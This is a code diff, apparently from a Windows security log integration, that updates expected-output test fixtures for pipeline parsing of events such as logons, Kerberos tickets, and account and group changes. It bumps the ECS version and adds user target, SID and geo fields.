a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4817-windowssrv2016.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4817-windowssrv2016.json-expected.json index 9cc7b54063f..2ead97065f1 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4817-windowssrv2016.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4817-windowssrv2016.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "object-audit-changed", @@ -90,4 +90,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4902-windowssrv2016.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4902-windowssrv2016.json-expected.json index ddc5b6eebc1..4301fc0f540 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4902-windowssrv2016.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4902-windowssrv2016.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "user-audit-policy-created", @@ -67,4 +67,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4904-windowssrv2016.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4904-windowssrv2016.json-expected.json index 1a579c6493f..da229245416 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4904-windowssrv2016.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4904-windowssrv2016.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "security-event-source-added", @@ -90,4 +90,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4905-windowssrv2016.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4905-windowssrv2016.json-expected.json index 2529212126e..8cd5e140b86 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4905-windowssrv2016.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4905-windowssrv2016.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "security-event-source-removed", @@ -90,4 +90,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4906-windowssrv2016.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4906-windowssrv2016.json-expected.json index 21059f85d88..d2d6739c418 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4906-windowssrv2016.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4906-windowssrv2016.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "crash-on-audit-changed", @@ -66,4 +66,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4907-windowssrv2016.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4907-windowssrv2016.json-expected.json index 6a7b47262c2..5664b9f4bde 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4907-windowssrv2016.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4907-windowssrv2016.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "audit-setting-changed", @@ -93,4 +93,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-5136.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-5136.json-expected.json index 18028bef486..57fc871d838 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-5136.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-5136.json-expected.json @@ -3,7 +3,7 @@ { "@timestamp": "2015-08-28T17:36:04.129Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "directory-service-object-modified", @@ -70,4 +70,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4673.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4673.json-expected.json index 7d7a392c456..ac6d72694a1 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4673.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4673.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "privileged-service-called", @@ -90,4 +90,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4697.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4697.json-expected.json index 73beb0aba20..14f442c85e1 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4697.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4697.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "service-installed", @@ -92,4 +92,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4768.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4768.json-expected.json index e30c60f6b9a..88dd490b94b 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4768.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4768.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "kerberos-authentication-ticket-requested", @@ -55,6 +55,7 @@ }, "user": { "domain": "TEST.SAAS", + "id": "S-1-5-21-1717121054-434620538-60925301-2794", "name": "at_adm" }, "winlog": { @@ -99,4 +100,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4769.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4769.json-expected.json index 21dbfdf6e9c..bf982817a44 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4769.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4769.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "kerberos-service-ticket-requested", @@ -98,4 +98,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4770.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4770.json-expected.json index 552a6b97eeb..ea85b4c50e1 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4770.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4770.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "kerberos-service-ticket-renewed", @@ -93,4 +93,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4771.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4771.json-expected.json index fb6d69c9761..4dc26ae234f 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4771.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4771.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "kerberos-preauth-failed", @@ -54,6 +54,7 @@ "port": 53366 }, "user": { + "id": "S-1-5-21-1717121054-434620538-60925301-3057", "name": "MPUIG" }, "winlog": { @@ -94,4 +95,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4776.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4776.json-expected.json index 35ca411fcdf..5e047a3a911 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4776.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4776.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "credential-validated", @@ -80,4 +80,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4778.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4778.json-expected.json index 0f34edce327..b01a819e71a 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4778.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4778.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "session-reconnected", @@ -89,4 +89,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4779.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4779.json-expected.json index 11e1b28ceb5..a59924219a4 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4779.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012-4779.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "session-disconnected", @@ -89,4 +89,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012r2-logon.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012r2-logon.json-expected.json index 9cadd582adf..c34788b610f 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012r2-logon.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2012r2-logon.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "logged-in", @@ -111,7 +111,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "logged-in", @@ -212,7 +212,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "logged-in", @@ -255,7 +255,25 @@ ] }, "source": { + "as": { + "number": 29518, + "organization": { + "name": "Bredband2 AB" + } + }, "domain": "VAGRANT-2012-R2", + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, "ip": "89.160.20.156", "port": 0 }, @@ -319,7 +337,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "logged-in", @@ -420,7 +438,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "logged-in", @@ -520,7 +538,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "logged-in", @@ -620,7 +638,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "logged-in", @@ -720,7 +738,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "logged-in", @@ -820,7 +838,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "logged-in", @@ -923,7 +941,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "logged-in", @@ -1024,7 +1042,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "logged-in", @@ -1131,7 +1149,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "logged-in", @@ -1232,7 +1250,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "logged-in", @@ -1333,7 +1351,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "logged-in", @@ -1434,7 +1452,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "logged-in", @@ -1535,7 +1553,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "logged-in", @@ -1636,7 +1654,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "logged-in", @@ -1737,7 +1755,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "logon-failed", @@ -1838,4 +1856,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4722-account-enabled.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4722-account-enabled.json-expected.json index d94fc116c22..9daaaeeaa56 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4722-account-enabled.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4722-account-enabled.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "enabled-user-account", @@ -48,7 +48,12 @@ "user": { "domain": "WIN-41OB2LO92CR", "id": "S-1-5-21-101361758-2486510592-3018839910-500", - "name": "Administrator" + "name": "Administrator", + "target": { + "domain": "WIN-41OB2LO92CR", + "id": "S-1-5-21-101361758-2486510592-3018839910-1000", + "name": "audittest" + } }, "winlog": { "activity_id": "{1200ce16-64b6-0000-0ed0-0012b664d501}", @@ -95,7 +100,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "enabled-user-account", @@ -133,7 +138,12 @@ "user": { "domain": "WIN-41OB2LO92CR", "id": "S-1-5-21-101361758-2486510592-3018839910-500", - "name": "Administrator" + "name": "Administrator", + "target": { + "domain": "WIN-41OB2LO92CR", + "id": "S-1-5-21-101361758-2486510592-3018839910-1006", + "name": "audittest0609" + } }, "winlog": { "activity_id": "{1200ce16-64b6-0000-0ed0-0012b664d501}", @@ -171,4 +181,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4723-password-change.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4723-password-change.json-expected.json index 96bdf257b33..9b806d04cee 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4723-password-change.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4723-password-change.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "changed-password", @@ -47,7 +47,12 @@ "user": { "domain": "WIN-41OB2LO92CR", "id": "S-1-5-21-101361758-2486510592-3018839910-500", - "name": "Administrator" + "name": "Administrator", + "target": { + "domain": "WIN-41OB2LO92CR", + "id": "S-1-5-21-101361758-2486510592-3018839910-500", + "name": "Administrator" + } }, "winlog": { "activity_id": "{1200ce16-64b6-0000-0ed0-0012b664d501}", @@ -95,7 +100,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "changed-password", @@ -132,7 +137,12 @@ "user": { "domain": "WIN-41OB2LO92CR", "id": "S-1-5-21-101361758-2486510592-3018839910-500", - "name": "Administrator" + "name": "Administrator", + "target": { + "domain": "WIN-41OB2LO92CR", + "id": "S-1-5-21-101361758-2486510592-3018839910-500", + "name": "Administrator" + } }, "winlog": { "activity_id": "{1200ce16-64b6-0000-0ed0-0012b664d501}", @@ -171,4 +181,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4724-password-reset.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4724-password-reset.json-expected.json index 6b8be639981..07890478227 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4724-password-reset.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4724-password-reset.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "reset-password", @@ -48,7 +48,12 @@ "user": { "domain": "WIN-41OB2LO92CR", "id": "S-1-5-21-101361758-2486510592-3018839910-500", - "name": "Administrator" + "name": "Administrator", + "target": { + "domain": "WIN-41OB2LO92CR", + "id": "S-1-5-21-101361758-2486510592-3018839910-1005", + "name": "elastictest1" + } }, "winlog": { "activity_id": "{1200ce16-64b6-0000-0ed0-0012b664d501}", @@ -95,7 +100,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "reset-password", @@ -133,7 +138,12 @@ "user": { "domain": "WIN-41OB2LO92CR", "id": "S-1-5-21-101361758-2486510592-3018839910-500", - "name": "Administrator" + "name": "Administrator", + "target": { + "domain": "WIN-41OB2LO92CR", + "id": "S-1-5-21-101361758-2486510592-3018839910-1006", + "name": "audittest0609" + } }, "winlog": { "activity_id": "{1200ce16-64b6-0000-0ed0-0012b664d501}", @@ -171,4 +181,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4725-account-disabled.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4725-account-disabled.json-expected.json index 2ef5d1c8cc3..00b8229cae3 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4725-account-disabled.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4725-account-disabled.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "disabled-user-account", @@ -48,7 +48,12 @@ "user": { "domain": "WIN-41OB2LO92CR", "id": "S-1-5-21-101361758-2486510592-3018839910-500", - "name": "Administrator" + "name": "Administrator", + "target": { + "domain": "WIN-41OB2LO92CR", + "id": "S-1-5-21-101361758-2486510592-3018839910-1000", + "name": "audittest" + } }, "winlog": { "activity_id": "{1200ce16-64b6-0000-0ed0-0012b664d501}", @@ -95,7 +100,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "disabled-user-account", @@ -133,7 +138,12 @@ "user": { "domain": "WIN-41OB2LO92CR", "id": "S-1-5-21-101361758-2486510592-3018839910-500", - "name": "Administrator" + "name": "Administrator", + "target": { + "domain": "WIN-41OB2LO92CR", + "id": "S-1-5-21-101361758-2486510592-3018839910-1006", + "name": "audittest0609" + } }, "winlog": { "activity_id": "{1200ce16-64b6-0000-0ed0-0012b664d501}", @@ -171,4 +181,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4726-account-deleted.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4726-account-deleted.json-expected.json index dfb9edd4e49..44a1ab6c998 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4726-account-deleted.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4726-account-deleted.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "deleted-user-account", @@ -48,7 +48,12 @@ "user": { "domain": "WIN-41OB2LO92CR", "id": "S-1-5-21-101361758-2486510592-3018839910-500", - "name": "Administrator" + "name": "Administrator", + "target": { + "domain": "WIN-41OB2LO92CR", + "id": "S-1-5-21-101361758-2486510592-3018839910-1001", + "name": "audittest23" + } }, "winlog": { "activity_id": "{1200ce16-64b6-0000-0ed0-0012b664d501}", @@ -96,7 +101,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "deleted-user-account", @@ -134,7 +139,12 @@ "user": { "domain": "WIN-41OB2LO92CR", "id": "S-1-5-21-101361758-2486510592-3018839910-500", - "name": "Administrator" + "name": "Administrator", + "target": { + "domain": "WIN-41OB2LO92CR", + "id": "S-1-5-21-101361758-2486510592-3018839910-1000", + "name": "audittest" + } }, "winlog": { "activity_id": "{1200ce16-64b6-0000-0ed0-0012b664d501}", @@ -173,4 +183,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4727.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4727.json-expected.json index 1de6ee13aae..3a25615f87b 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4727.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4727.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "added-group-account", @@ -92,4 +92,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4728.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4728.json-expected.json index 3a7f8d19c8f..0cc792260b5 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4728.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4728.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "added-member-to-group", @@ -54,6 +54,7 @@ "id": "S-1-5-21-101361758-2486510592-3018839910-500", "name": "Administrator", "target": { + "domain": "local", "group": { "domain": "WLBEAT", "id": "S-1-5-21-101361758-2486510592-3018839910-1112", @@ -100,4 +101,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4729.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4729.json-expected.json index 529c9a5daf7..3b42616c473 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4729.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4729.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "removed-member-from-group", @@ -54,6 +54,7 @@ "id": "S-1-5-21-101361758-2486510592-3018839910-500", "name": "Administrator", "target": { + "domain": "local", "group": { "domain": "WLBEAT", "id": "S-1-5-21-101361758-2486510592-3018839910-1112", @@ -100,4 +101,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4730.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4730.json-expected.json index 63d6c33540b..85d62ea0cd0 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4730.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4730.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "deleted-group-account", @@ -90,4 +90,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4731.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4731.json-expected.json index d36e9a59725..16b77cb49a8 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4731.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4731.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "added-group-account", @@ -92,4 +92,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4732.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4732.json-expected.json index c882a99ba4e..7756fe1c574 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4732.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4732.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "added-member-to-group", @@ -54,6 +54,7 @@ "id": "S-1-5-21-101361758-2486510592-3018839910-500", "name": "Administrator", "target": { + "domain": "local", "group": { "domain": "WLBEAT", "id": "S-1-5-21-101361758-2486510592-3018839910-1111", @@ -100,4 +101,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4733.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4733.json-expected.json index 9cceae374fb..8e84894b2f6 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4733.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4733.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "removed-member-from-group", @@ -54,6 +54,7 @@ "id": "S-1-5-21-101361758-2486510592-3018839910-500", "name": "Administrator", "target": { + "domain": "local", "group": { "domain": "WLBEAT", "id": "S-1-5-21-101361758-2486510592-3018839910-1111", @@ -100,4 +101,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4734.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4734.json-expected.json index 0435d2c7ad0..0c818066f1d 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4734.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4734.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "deleted-group-account", @@ -90,4 +90,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4735.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4735.json-expected.json index f7b71017f08..428ca1cfb98 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4735.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4735.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "modified-group-account", @@ -92,4 +92,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4737.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4737.json-expected.json index 8208b054bd4..52bb87f005a 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4737.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4737.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "modified-group-account", @@ -92,4 +92,4 @@ } } ] -} \ No newline at end of file +} diff --git 